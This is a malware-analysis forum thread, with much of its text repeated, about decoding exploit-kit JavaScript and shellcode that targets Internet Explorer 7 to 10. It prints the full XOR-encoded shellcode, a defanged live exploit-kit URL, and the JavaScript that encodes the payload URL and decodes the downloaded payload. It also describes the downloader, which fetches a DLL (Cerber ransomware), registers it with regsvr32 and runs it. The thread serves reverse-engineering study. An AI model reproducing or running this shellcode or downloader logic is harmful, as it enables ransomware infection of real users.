I am studying malware analysis and recently came across some kind of very complicated malware. The landing page contains multiple stages of encoded Javascripts that will eventually download the flash file for next stage infection. Moreover, I also found there seem to have some hardcoded shellcode included in decoded Javascript and the shellcode seems to be targeting IE 8, 9, 10 only according to JS code. When converting the shellcode to instructions, however, the converted assembly code contains some bad bytes and I am not sure if the shellcode is somehow encoded or twisted. I have uploaded the JS file to dropbox (password is "infected"): https://www.dropbox.com/s/x4bk3n4n6l4p3xr/malware.zip?dl=0
Could anyone please take a look at the file and give me some advice about how to analyze the shellcode starting with "EB125831C966B96D054980...." ? Any help is appreciated. Thanks.
I am studying malware analysis and recently came across some kind of very complicated malware. The landing page contains multiple stages of encoded Javascripts that will eventually download the flash file for next stage infection. Moreover, I also found there seem to have some hardcoded shellcode included in decoded Javascript and the shellcode seems to be targeting IE 8, 9, 10 only according to JS code. When converting the shellcode to instructions, however, the converted assembly code contains some bad bytes and I am not sure if the shellcode is somehow encoded or twisted. I have uploaded the JS file to dropbox (password is "infected"): Dropbox - malware.zip
Could anyone please take a look at the file and give me some advice about how to analyze the shellcode starting with "EB125831C966B96D054980...." ? Any help is appreciated. Thanks.
=> A method of using an exploit to download a payload from the web
Go Near this part :
"Any exploit kit customer can provide a download URL which is passed from JavaScript, through Flash, arriving as an argument to payload which is eventually executed. We can see this by inspecting the ROP Chain that the exploit uses once it achieves control over the instruction pointer."
In your sample : it uses the encoded "gexywoaxor" "http://BAD URL" "USER AGENT22000000"
with the shellcode
need user agent that have "MSIE" inside (IE 7 => 10 )
Yes, then the function "fvsdferd" takes the whole hex string as input and the result returned seems to have user-agent string decoded. By the way, did you see any bad bytes/instructions when putting the string in disassembler.
=> A method of using an exploit to download a payload from the web
Go Near this part :
"Any exploit kit customer can provide a download URL which is passed from JavaScript, through Flash, arriving as an argument to payload which is eventually executed. We can see this by inspecting the ROP Chain that the exploit uses once it achieves control over the instruction pointer."
In your sample : it uses the encoded "gexywoaxor" "http://BAD URL" "USER AGENT22000000"
with the shellcode
need user agent that have "MSIE" inside (IE 7 => 10 )
Thanks. That article is helpful. Have you tried to put the whole hex string into disassembler? When I did that, I got some bad instructions, which made me think something went wrong.
"The payload itself is simply a one liner to create a Windows Script Host temporary file that downloads, deobfuscates, and executes Cerber Ransomware via a DLL using regsvr32.exe."
The exploit part works if the user agent (then the browser) is from IE7 to IE10
The function uses subfunctions to return an encoded string.
calling sxcvsasd
function sxcvsasd(u, k) {
var fr = String.fromCharCode;
var c = "",
b = "",
d = "",
f = fr(0x20),
g = fr(0),
v = fr(0x22);
var app = k + v + f + v + u + v + f + v + navigator.userAgent + v + g + g + g + g;
app.length % 2 && (app += g);
for (var e = 0; e < app.length; e++) {
b = sdfgh(app.charCodeAt(e), 2);
d = sdfgh(app.charCodeAt(e + 1), 2);
c += b + d;
e += 1;
}
return c;
subfunction :
function sdfgh(num, width) {
var xcvaa = "0123456789abcdef";
var sdfgh = xcvaa.substr(num & 0xF, 1);
while (num > 0xF) {
num = num >>> 4;
sdfgh = xcvaa.substr(num & 0xF, 1) + sdfgh;
}
var width = (width ? width : 0);
while (sdfgh.length < width) sdfgh = "0" + sdfgh;
return sdfgh;
}
"gexywoaxor" "http://..............................." "USER AGENT" 22 00 00 00 00
is encoded : c : "67657879776f61786f7222202268747470....................................."
=> and added at the end of "EB125831C966B96D054980...." (shellcode)
In fact :
Simple encoding : "decimal to hex under string" encoding
g => 103 => 67
e => 101 => 65
The shellcode : here : language machine codes under a string.
Next parts are to answer the question on the thread : about this shellcode
About the problem when disassembling.
Have you looked the links about obfuscation usually used to make the disassembly failed (I post them on my first post) ?
On you sample you have :
EB12 jmp label1
hop: 58 pop eax
31C9 xor ecx,ecx
66B96D05 mov cx,56Dh
usefull: 49 dec ecx
80340884 xor byte ptr [eax+ecx],84h
85C9 test ecx,ecx
75F7 jne usefull
FFE0 jmp eax
label1: E8E9FFFFFF call hop
=> the address of following code (I named it HERE ) is automatically pushed on a stack in memory : it is easy for the sub function (begins at "hop") to retrieve it.
The pop eax => gets the return address (remove it from the stack)
At the end of the sub function : jmp eax => go the the address I named HERE
HERE: .......
.......
.......
.......
....... the part of code from here is different than the real, and understandable / bad, etc
Why is the sub-function retrieving the return address ?
Look at the beginning !
There is a loop (I named the loop address : usefull)
xor from byte at address [eax+ecx] with 84h
when ecx = 0
=> real part decoded
=> jmp to eax = > label HERE : the decoded code / parts
First conclusion : the part after HERE is XOR encoded, and the sub function retrieves the return address by pop eax =>then the return address is also removed from the stack, and the jum eax is needed to replace the ret instruction. But before that, the sub function "plays" with the obfuscated code that is on the return address.
=> you must do "each bytes XOR 84h
==> not the string "D10D61074028D7D5D3B544E00......"
and "D1" XOR 84h, etc... => wrong
but the bytes :
D1h XOR 84h,
0Dh XOR 84h
61h XOR 84h
=> just run the code until it reach jmp eax and the important part will be decoded.
mov cx,56Dh
=> 1389 bytes => 2778 chars (I verified, it is all the shellcode part from the label HERE to the end
(the last char once decoded is 22 => 22h => " ),
(without the part added in the JavaScript by
+ sxcvsasd("hXXp://rew.kaghaan.com/index.php?xHiMdbKYJBrMDIQ=l3SMfPrfJxzFGMSUb-nJDa9BNUXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KTKvgJQyfu0SaGyj1BKeO10hjoUeWF8Z5e3x1RSL2x3fipSA9wffY1wRq5TAF-M8jgnzmbJFJc4jw0DT72FZmOMaBF9G4xgY36TIHLOL-AFiXwE4Ugfbct4lsxaBWiTiJGQ23OWwGTFxmuWD", "gexywoaxor")
that returns a hex version of :
"gexywoaxor" "http://BAD_URL" "USER AGENT" 22 00 00 00 00
I wrote this small code to get the decoded part of the shellcode :
Code:
string encoded = "D10D61074028D7D5D3B544E00FC4B40FC4880FC4880F840F840FDC9C0D5C87C4B80FD4FC855E0FFEA4855BB54D0F83855C05BCC7F6E1E5F19805FC8FF7F7C584F1970FC6A0855C8B3380CC0FD698855E8798066F8D074380C5BFCE9CF84B09C174D409F928D3B5443D95848484772FE243C15C858543C128C0848484D4D4D4C4D4CCD4D46F8AD47B57DBDDDF4564870744824D476C697B7B7BE7E9E0AAE1FCE1A4ABF5A4ABE7A4E7E0A4ABE0A4A6A1F0E9F4A1A6A4A2A2A4E1E7ECEBA4E2F1EAE7F0EDEBEAA4C8EBE3ACEAA8E3ADFFE2EBF6ACF2E5F6A4E7B9B4A8F7B9D7F0F6EDEAE3A8E0A8C0B9A6F4F1A6AFA6F7ECA6A8E6B9DFD9A8EDB9DFD9A8F6B9ACB4B7B3B2AFB5ADA8E5B9B4BFF6AFB5DABAE5BFE5AFAFADE6DFE5D9B9E5BFE2EBF6ACE5B9B4BFF6AFB5DABAE5BFE5AFAFADE7B9E7AFE6DFE5D9AFE3DFF2D9ACE5A1E3AAE8E1EAE3F0ECADDAA2F6A8E0B9E6DFE5D9A8E6DFE5D9B9E6DFE7D9A8E6DFE7D9B9E0BFE2EBF6ACF2E5F6A4E1B9E7B9E5B9B4A8D7B9A6E2F6EBE9C7A6AFA6ECE5F6C7EBE0E1A6BFE1DAB8EAAAE8E1EAE3F0ECBFE1AFAFADE5B9E5AFB5DAA2F6A8E7B9E7AFE6DFE5D9DAA2F6A8E0B9E6DFE5D9A8E6DFE5D9B9E6DFE7D9A8E6DFE7D9B9E0A8EDDFC0D9ACF7DFD7D9ACEADFF2D9ACE1ADDADAE6DFE6DFE5D9AFE6DFE7D9DAA2F6D9ADADBFF6E1F0F1F6EAA4EDDFF1ACB5B1ADD9ACF1ACB5B5ADADF9BFE2F1EAE7F0EDEBEAA4CCACE3ADFFF2E5F6A4D0B9F1ACB4ADA8E0B9D3ACD0AFA6AAA6AFD0AFF1ACB5ADADBFE0DFA6F7E1F0D4F6EBFCFDA6D9ACEAADBFE0AAEBF4E1EAACF1ACB6ADA8E3ACB5ADA8EAADBFE0AACBF4F0EDEBEAACB4ADB9E3ACB6ADBFE0DFA6D8FCB1B7E1EAD8FCB2B0A6D9BFEDE2ACB4B7B5B4B9B9E0AAF7F0E5F0F1F7ADF6E1F0F1F6EAA4C8EBE3ACE0DFA6F6E1F7F4EBEAF7E1D0E1FCF0A6D9A8E3ACEAADADF9BFC1B9A6D3EDEACCD0D0D4C9D6E1F5F1E1F7F0AAB1AAB5C9C3C1D0C9D7E7F6EDF4F0EDEAE3AAC2EDE8E1D7FDF7F0E1E9CBE6EEE1E7F0C9D3D7E7F6EDF4F0AAD7ECE1E8A6AFA6E8C9C5C0CBC0C6AAD7F0F6E1E5E9C9E1F6EBC9AAE1FCA6A8F1B9E2F1EAE7F0EDEBEAACFCADFFF6E1F0F1F6EAA4C1AAF7F4E8EDF0ACA6C9A6ADDFFCD9F9A8CEB9C5E7F0EDF2E1DCCBE6EEE1E7F0A8D3B9E2F1EAE7F0EDEBEAACF2ADFFF6E1F0F1F6EAA4EAE1F3A4CEACF2ADF9BFF0F6FDFFC1AFB9A6E1C9C3E1F0D0E1A6AFA6E9F4CAE5E9E1C9E7ECE5F6C7EBE0E1C5F0C9EDF7EBA9BCBCB1BDA9B5C9C9EDEAE0E1FCCBA6AFA6E2C9AAE0E8E8C9D7E7F6A6AFA6EDF4F0C2F1E8E8CAE5A6AFA6E9E1C9EEEBA6AFA6EDEAC9F6A6AFA6F1EAC9A4ABE7A4C9A4ABF7A4A6BFF2E5F6A4F5B9D3ACF1ACB7ADADA8EEB9D3ACF1ACB0ADADA8F7B9D3ACF1ACB1ADADA8F4B9F1ACB3ADA8EAB9B4A8C8B9D3D7E7F6EDF4F0DFF1ACB5B0ADD9A8F2B9F1ACBDADA8E9B9D3D7E7F6EDF4F0AAC5F6E3F1E9E1EAF0F7BFF7AAD0FDF4E1B9B6BFE7B9F5DFF1ACBCADD9ACADBFF7AAC7ECE5F6F7E1F0B9F1ACB4B5B6ADBFF7AACBF4E1EAACADBFEDB9CCACE9ADBFE0B9EDDFF2D9ACEDDFF1ACB5B6ADD9ACA6D4D8FCB0B1D8FCB4B4D8FCB4B4A6ADAFB4B6B3ADBFF7AAF3F6EDF0E1F0E1FCF0ACEDADBFEDE2ACB4B7B3DAB8E0ADFFF2E5F6A4FEB9B5BFE7AFB9F1ACB5B7ADF9E1E8F7E1A4E7AFB9F4BFF7AAF7E5F2E1F0EBE2EDE8E1ACE7A8B6ADBFF7AAC7E8EBF7E1ACADBFFEDAA2DAA2ACE7B9A6F6E1E3F7F2F6B7B6A6AFF4AFF1ACB5BCADAFE7ADBFEEDFA6F6F1EAA6D9ACA6D8FCB2B7E9E0A6AFF4AFF1ACB5B3ADAFE7A8B4ADF9E7E5F0E7ECACDDADFFF9A4E0F7B9A6C0E1E8E1A6BFF5DFE0F7AFA6F0E1E2EDE8E1A6D9ACC8ADBFA4BACDCDEEB2F7C2EBF7F4A4A2A2A4F7F0E5F6F0A4F3F7E7F6EDF4F0A4ABABC6A4ABABC1BECED7E7F6EDF4F0A4CDCDEEB2F7C2EBF7F4A4A6";
String decoded= "";
int value = 132; //84h
for (var i = 0; i < test.Length; i = i + 2)
{
string hex1 = encoded.Substring(i, 2);
int dec = Convert.ToInt32(hex1, 16);
int result = dec ^ value;
decoded+= result.ToString("X2");
}
At the end : decoded => the decoded string with the important working shellcode
Just take into account that there will be some real asm codes, and some code that the disassembler put, reading the bytes and trying to make asm instructions, that are datas.
Example :
the data for the second part (added to the string that contents the shellcode) begins at : 56dh
"With data execution prevention, an adversary cannot execute maliciously injected instructions because a typical buffer overflow overwrites contents in the data section of memory, which is marked as non-executable. To defeat this, a return-oriented programming attack does not inject malicious code, but rather uses instructions that are already present, called "gadgets", by manipulating return addresses. A typical data execution prevention cannot defend against this attack because the adversary did not use malicious code but rather combined "good" instructions by changing return addresses; therefore the code used would not be marked non-executable."
Use the exploit of IE7 to IE10 Browser to be able to get / use the shellcode that manipulate return addresses (this sample decode the real part)
to run cmd / wscript
which :
=> downloads the payload as dll, register it (regsvr32)
=> runs it
=> delete the temp file
I am not skilled in .js but it seems plausible a procedure of allocation of the shellcode and then the execution of the function that contains the payload.
A hypothesis could be the use of heap spraying attack, a technique used to write the shellcode in the memory of a running process, often implemented in these contexts.
I am not skilled in .js but it seems plausible a procedure of allocation of the shellcode and then the execution of the function that contains the payload.
A hypothesis could be the use of heap spraying attack, a technique used to write the shellcode in the memory of a running process, often implemented in these contexts.
I explain in the spolier : Just a general explanation of the javascript joined
Just uses an exploit of the browser that allows to run cmd, etc
The way the error is made voluntarily and catch use this exploit. Catching Exploit Kit Landers - OpenDNS Umbrella Blog
Some parts can be found on the screenshots from above post (once we use the good shellcode+params)
Will just show some obfuscation used inside.
Method I like :
Builds :
"WinHTTPMRequest.5.1MGETMScripting.FileSystemObjectMWScript.ShellMADODB.StreamMeroM.exeMGetTempNameMcharCodeAtMiso-8859-1MMindexOfM.dllMScriptFullNameMjoinMrunM /c M /s"
=> d = new ActiveXObject("WinHTTP" + " ." + "WinHTTP" + "Request.5.1")
=> d = new ActiveXObject("WinHTTP .WinHTTPRequest.5.1")
=> d : object to make the http request
d["setProxy"] => d.SetProxy(0)
d.open(u(2), g(1), n)
=> u(2) => "GET"
=> g(1) => the URL to download the payload
=> http.open("GET" , url , 0)
d.Option(0) = g(2);
=> g(2) => user_agent (the one of the browser used)
d["Send"] => send the request
if (0310 == d.status) return O(d.responseText , g)
0310 => octal number => 400 => HTTP OK !
g => g(0) =>
if connection ok :
call O(http.responseText, "gexywoaxor")
O() is the decoder function, that use the password "gexywoaxor" to decode the text received by the request
Code:
function O(n, g) {
for (var c = 0, s = String, d, D = "pu" + "sh", b = [], i = [], r = 255, a = 0; r + 1 ^ > a; a++)
b[a] = a;
for (a = 0; r + 1 ^ > a; a++)
c = c + b[a] + g[v](a % g.length) ^ & r,
d = b[a],
b[a] = b[c],
b[c] = d;
for (var e = c = a = 0, S = "fromCharCode"; e ^ < n.length; e++)
a = a + 1 ^ & r,
c = c + b[a] ^ & r,
d = b[a],
b[a] = b[c],
b[c] = d,
i[D](s[S](n[v](e) ^ ^ b[b[a] + b[c] ^ & r]));
return i[u(15)](u(11))
};
Will not show more, the website is BL and seems to be down, but I thought these parts were interesting
=> A method of using an exploit to download a payload from the web
Go Near this part :
"Any exploit kit customer can provide a download URL which is passed from JavaScript, through Flash, arriving as an argument to payload which is eventually executed. We can see this by inspecting the ROP Chain that the exploit uses once it achieves control over the instruction pointer."
In your sample : it uses the encoded "gexywoaxor" "http://BAD URL" "USER AGENT22000000"
with the shellcode
need user agent that have "MSIE" inside (IE 7 => 10 )
Thanks. That article is helpful. Have you tried to put the whole hex string into disassembler? When I did that, I got some bad instructions, which made me think something went wrong.
"The payload itself is simply a one liner to create a Windows Script Host temporary file that downloads, deobfuscates, and executes Cerber Ransomware via a DLL using regsvr32.exe."
The exploit part works if the user agent (then the browser) is from IE7 to IE10
The function uses subfunctions to return an encoded string.
calling sxcvsasd
function sxcvsasd(u, k) {
var fr = String.fromCharCode;
var c = "",
b = "",
d = "",
f = fr(0x20),
g = fr(0),
v = fr(0x22);
var app = k + v + f + v + u + v + f + v + navigator.userAgent + v + g + g + g + g;
app.length % 2 && (app += g);
for (var e = 0; e < app.length; e++) {
b = sdfgh(app.charCodeAt(e), 2);
d = sdfgh(app.charCodeAt(e + 1), 2);
c += b + d;
e += 1;
}
return c;
subfunction :
function sdfgh(num, width) {
var xcvaa = "0123456789abcdef";
var sdfgh = xcvaa.substr(num & 0xF, 1);
while (num > 0xF) {
num = num >>> 4;
sdfgh = xcvaa.substr(num & 0xF, 1) + sdfgh;
}
var width = (width ? width : 0);
while (sdfgh.length < width) sdfgh = "0" + sdfgh;
return sdfgh;
}
"gexywoaxor" "http://..............................." "USER AGENT" 22 00 00 00 00
is encoded : c : "67657879776f61786f7222202268747470....................................."
=> and added at the end of "EB125831C966B96D054980...." (shellcode)
In fact :
Simple encoding : "decimal to hex under string" encoding
g => 103 => 67
e => 101 => 65
The shellcode : here : language machine codes under a string.
Next parts are to answer the question on the thread : about this shellcode
About the problem when disassembling.
Have you looked the links about obfuscation usually used to make the disassembly failed (I post them on my first post) ?
On you sample you have :
jmp label1
hop: 58 pop eax
31C9 xor ecx,ecx
66B96D05 mov cx,56Dh
useless: 49 dec ecx
80340884 xor byte ptr [eax+ecx],84h
85C9 test ecx,ecx
75F7 jne useless
FFE0 jmp eax
label1: E8E9FFFFFF call hop => value of eax is the next adress (to HERE), and a "push eax" is made when a call occurs => easy to retrieve it. HERE: .......
.......
.......
.......
....... the part code from here is different than the real, and understandable / bad, etc
Why ? look at the beginning !
pop eax => retrieve the value of eax => pointer to "HERE" (will become good code after some stuff)
loop :
xor from byte at address [eax+ecx] with 84h
when ecx = 0
=> real part decoded
=> jmp to eax = > label HERE : the decoded code / parts
First conclusion : the part after HERE is XOR encoded
=> you must do "each bytes XOR 84h
==> not the string "D10D61074028D7D5D3B544E00......"
and "D1" XOR 84h, etc... => wrong
but the bytes :
D1h XOR 84h,
0Dh XOR 84h
61h XOR 84h
=> just run the code until it reach jmp eax and the important part will be decoded.
mov cx,56Dh
=> 1389 bytes => 2778 chars (I verified, it is all the shellcode part from the label HERE to the end
(the last char once decoded is 22 => 22h => " ),
(without the part added in the JavaScript by
+ sxcvsasd("hXXp://rew.kaghaan.com/index.php?xHiMdbKYJBrMDIQ=l3SMfPrfJxzFGMSUb-nJDa9BNUXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KTKvgJQyfu0SaGyj1BKeO10hjoUeWF8Z5e3x1RSL2x3fipSA9wffY1wRq5TAF-M8jgnzmbJFJc4jw0DT72FZmOMaBF9G4xgY36TIHLOL-AFiXwE4Ugfbct4lsxaBWiTiJGQ23OWwGTFxmuWD", "gexywoaxor")
that returns a hex version of :
"gexywoaxor" "http://BAD_URL" "USER AGENT" 22 00 00 00 00
I wrote this small code to get the decoded part of the shellcode :
Code:
string encoded = "D10D61074028D7D5D3B544E00FC4B40FC4880FC4880F840F840FDC9C0D5C87C4B80FD4FC855E0FFEA4855BB54D0F83855C05BCC7F6E1E5F19805FC8FF7F7C584F1970FC6A0855C8B3380CC0FD698855E8798066F8D074380C5BFCE9CF84B09C174D409F928D3B5443D95848484772FE243C15C858543C128C0848484D4D4D4C4D4CCD4D46F8AD47B57DBDDDF4564870744824D476C697B7B7BE7E9E0AAE1FCE1A4ABF5A4ABE7A4E7E0A4ABE0A4A6A1F0E9F4A1A6A4A2A2A4E1E7ECEBA4E2F1EAE7F0EDEBEAA4C8EBE3ACEAA8E3ADFFE2EBF6ACF2E5F6A4E7B9B4A8F7B9D7F0F6EDEAE3A8E0A8C0B9A6F4F1A6AFA6F7ECA6A8E6B9DFD9A8EDB9DFD9A8F6B9ACB4B7B3B2AFB5ADA8E5B9B4BFF6AFB5DABAE5BFE5AFAFADE6DFE5D9B9E5BFE2EBF6ACE5B9B4BFF6AFB5DABAE5BFE5AFAFADE7B9E7AFE6DFE5D9AFE3DFF2D9ACE5A1E3AAE8E1EAE3F0ECADDAA2F6A8E0B9E6DFE5D9A8E6DFE5D9B9E6DFE7D9A8E6DFE7D9B9E0BFE2EBF6ACF2E5F6A4E1B9E7B9E5B9B4A8D7B9A6E2F6EBE9C7A6AFA6ECE5F6C7EBE0E1A6BFE1DAB8EAAAE8E1EAE3F0ECBFE1AFAFADE5B9E5AFB5DAA2F6A8E7B9E7AFE6DFE5D9DAA2F6A8E0B9E6DFE5D9A8E6DFE5D9B9E6DFE7D9A8E6DFE7D9B9E0A8EDDFC0D9ACF7DFD7D9ACEADFF2D9ACE1ADDADAE6DFE6DFE5D9AFE6DFE7D9DAA2F6D9ADADBFF6E1F0F1F6EAA4EDDFF1ACB5B1ADD9ACF1ACB5B5ADADF9BFE2F1EAE7F0EDEBEAA4CCACE3ADFFF2E5F6A4D0B9F1ACB4ADA8E0B9D3ACD0AFA6AAA6AFD0AFF1ACB5ADADBFE0DFA6F7E1F0D4F6EBFCFDA6D9ACEAADBFE0AAEBF4E1EAACF1ACB6ADA8E3ACB5ADA8EAADBFE0AACBF4F0EDEBEAACB4ADB9E3ACB6ADBFE0DFA6D8FCB1B7E1EAD8FCB2B0A6D9BFEDE2ACB4B7B5B4B9B9E0AAF7F0E5F0F1F7ADF6E1F0F1F6EAA4C8EBE3ACE0DFA6F6E1F7F4EBEAF7E1D0E1FCF0A6D9A8E3ACEAADADF9BFC1B9A6D3EDEACCD0D0D4C9D6E1F5F1E1F7F0AAB1AAB5C9C3C1D0C9D7E7F6EDF4F0EDEAE3AAC2EDE8E1D7FDF7F0E1E9CBE6EEE1E7F0C9D3D7E7F6EDF4F0AAD7ECE1E8A6AFA6E8C9C5C0CBC0C6AAD7F0F6E1E5E9C9E1F6EBC9AAE1FCA6A8F1B9E2F1EAE7F0EDEBEAACFCADFFF6E1F0F1F6EAA4C1AAF7F4E8EDF0ACA6C9A6ADDFFCD9F9A8CEB9C5E7F0EDF2E1DCCBE6EEE1E7F0A8D3B9E2F1EAE7F0EDEBEAACF2ADFFF6E1F0F1F6EAA4EAE1F3A4CEACF2ADF9BFF0F6FDFFC1AFB9A6E1C9C3E1F0D0E1A6AFA6E9F4CAE5E9E1C9E7ECE5F6C7EBE0E1C5F0C9EDF7EBA9BCBCB1BDA9B5C9C9EDEAE0E1FCCBA6AFA6E2C9AAE0E8E8C9D7E7F6A6AFA6EDF4F0C2F1E8E8CAE5A6AFA6E9E1C9EEEBA6AFA6EDEAC9F6A6AFA6F1EAC9A4ABE7A4C9A4ABF7A4A6BFF2E5F6A4F5B9D3ACF1ACB7ADADA8EEB9D3ACF1ACB0ADADA8F7B9D3ACF1ACB1ADADA8F4B9F1ACB3ADA8EAB9B4A8C8B9D3D7E7F6EDF4F0DFF1ACB5B0ADD9A8F2B9F1ACBDADA8E9B9D3D7E7F6EDF4F0AAC5F6E3F1E9E1EAF0F7BFF7AAD0FDF4E1B9B6BFE7B9F5DFF1ACBCADD9ACADBFF7AAC7ECE5F6F7E1F0B9F1ACB4B5B6ADBFF7AACBF4E1EAACADBFEDB9CCACE9ADBFE0B9EDDFF2D9ACEDDFF1ACB5B6ADD9ACA6D4D8FCB0B1D8FCB4B4D8FCB4B4A6ADAFB4B6B3ADBFF7AAF3F6EDF0E1F0E1FCF0ACEDADBFEDE2ACB4B7B3DAB8E0ADFFF2E5F6A4FEB9B5BFE7AFB9F1ACB5B7ADF9E1E8F7E1A4E7AFB9F4BFF7AAF7E5F2E1F0EBE2EDE8E1ACE7A8B6ADBFF7AAC7E8EBF7E1ACADBFFEDAA2DAA2ACE7B9A6F6E1E3F7F2F6B7B6A6AFF4AFF1ACB5BCADAFE7ADBFEEDFA6F6F1EAA6D9ACA6D8FCB2B7E9E0A6AFF4AFF1ACB5B3ADAFE7A8B4ADF9E7E5F0E7ECACDDADFFF9A4E0F7B9A6C0E1E8E1A6BFF5DFE0F7AFA6F0E1E2EDE8E1A6D9ACC8ADBFA4BACDCDEEB2F7C2EBF7F4A4A2A2A4F7F0E5F6F0A4F3F7E7F6EDF4F0A4ABABC6A4ABABC1BECED7E7F6EDF4F0A4CDCDEEB2F7C2EBF7F4A4A6";
String decoded= "";
int value = 132; //84h
for (var i = 0; i < test.Length; i = i + 2)
{
string hex1 = encoded.Substring(i, 2);
int dec = Convert.ToInt32(hex1, 16);
int result = dec ^ value;
decoded+= result.ToString("X2");
}
At the end : decoded => the decoded string with the important working shellcode
Just take into account that there will be some real asm codes, and some code that the disassembler put, reading the bytes and trying to make asm instructions, that are datas.
Example :
the data for the second part (added to the string that contents the shellcode) begins at : 56dh
"With data execution prevention, an adversary cannot execute maliciously injected instructions because a typical buffer overflow overwrites contents in the data section of memory, which is marked as non-executable. To defeat this, a return-oriented programming attack does not inject malicious code, but rather uses instructions that are already present, called "gadgets", by manipulating return addresses. A typical data execution prevention cannot defend against this attack because the adversary did not use malicious code but rather combined "good" instructions by changing return addresses; therefore the code used would not be marked non-executable."
Use the exploit of IE7 to IE10 Browser to be able to get / use the shellcode that manipulate return addresses (this sample decode the real part)
to run cmd / wscript
which :
=> downloads the payload as dll, register it (regsvr32)
=> runs it
=> delete the temp file
